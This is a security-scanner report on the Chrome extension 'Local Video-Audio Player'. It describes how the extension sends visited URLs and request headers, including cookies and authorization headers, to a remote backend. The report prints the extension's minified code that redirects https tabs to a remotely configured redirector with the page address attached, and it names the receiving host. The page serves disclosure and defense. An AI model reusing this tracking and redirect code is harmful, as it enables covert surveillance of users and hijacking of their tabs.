Is Local Video-Audio Player safe?

Medium risk

Local Video-Audio Player sends visited URLs, page titles and request headers to a remote verification server after opt-in.

After the user clicks Agree and grants broad site access, a bundled streaming-safety library records each page and frame load. It sends the URL, page title, referrer, IP and full request and response headers, including Cookie and Authorization, to a verification backend. The consent text mentions only visited URLs, and the server domain is looked up at runtime.

Scott Moorev1.2Chrome Web Store
49Risk
Who publishes it

Scott Moore - 7 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Scott Moore

Same store account

7 other listings published from this account, 2k+ users between them. 2 of them carry a finding.

Local Media Player1k+HighSimple Audio Voice Sound Recorder516MediumOnline MS Paint Tool223CleanMerry Christmas New Tab & Snow Theme123CleanSnapGrid Photo Collage Maker57CleanRotten Egg Destroyer - Smash & Destroy Websites35Clean1 more listing in the relationship graph, on paid plans →

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Video downloader redirects any https tab to a remote-config URL

Code analysis shows pages on https sites can be replaced by a redirector URL from remote config, carrying the visited address.

The destination is not in the extension code.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open an https page after the extension has been installed for the configured period.

Applies to any site except boomtubes.app.

The extension did this

After a short delay the whole tab is navigated to a redirector URL from remote config.

The redirector receives the address of the page you were on.

Values handled by the redirect path
  • Registrable domain
    example.com

    The site you are on is sent to the extension's server.

  • Full page address
    https://example.com/account?id=1042

    Your exact page address is appended to the redirect.

  • Redirector URL
    https://redirector.example/go?url=https%3A%2F%2Fexample.com%2F&enc=true

    Where your tab is sent; chosen by the server, not the code.

The code that does this

Content script trigger and navigation, background lookup

Readable version

Content script: gate and message

contentScript.bundle.js
          }))) : function() {            if (!Gn) return;            if (!window.location.href.startsWith("https")) return;            if (new Date - Gn > Yn.common.ft && (!Qn || new Date - Qn > Yn.common.ct)) {              const e = er(window.location.hostname, Yn.common.TLDs.join());              chrome.runtime.sendMessage({                links: e,                query: "get-page-info",                host: window.location.hostname              }, (() => {                chrome.runtime.lastError              }))            }          }()        } catch (e) {

Content script: navigation

contentScript.bundle.js
        }(e.images), "get-page-info" === e.type && setTimeout((function() {          chrome.storage.local.get(null, (function() {            document.location.href = `${Yn.common.ar}?url=${encodeURIComponent(document.location.href)}&enc=true`, chrome.storage.local.set({              hour: +new Date            })          }))        }), 2e3)      } catch (t) {

Background: /links lookup

background.bundle.js
          const s = await async function(e) {            const t = await fetch(`${d}/links`, {                headers: {                  "Content-type": "application/json"                },                method: "POST",                body: JSON.stringify({                  tlds: e                })              }),              n = await t.json();            if (!n?.tlds || !Array.isArray(n.tlds) || !n.tlds.length) return {};            let r = {};            for (let e of n.tlds) r[e.domain] = e.hash;            return r          }(e);          if (!s || !Object.keys(s).length) throw new Error("Empty response");          chrome.tabs.sendMessage(a, {            type: t,            images: s
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Local Video-Audio Player contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • bkp.v1.fsdifhj.com

    Local Video-Audio Player sends data to bkp.v1.fsdifhj.com. No other extension we have analysed sends data here.

Updated 15 October 2026cegahinhempcichibiamcjeacchkihma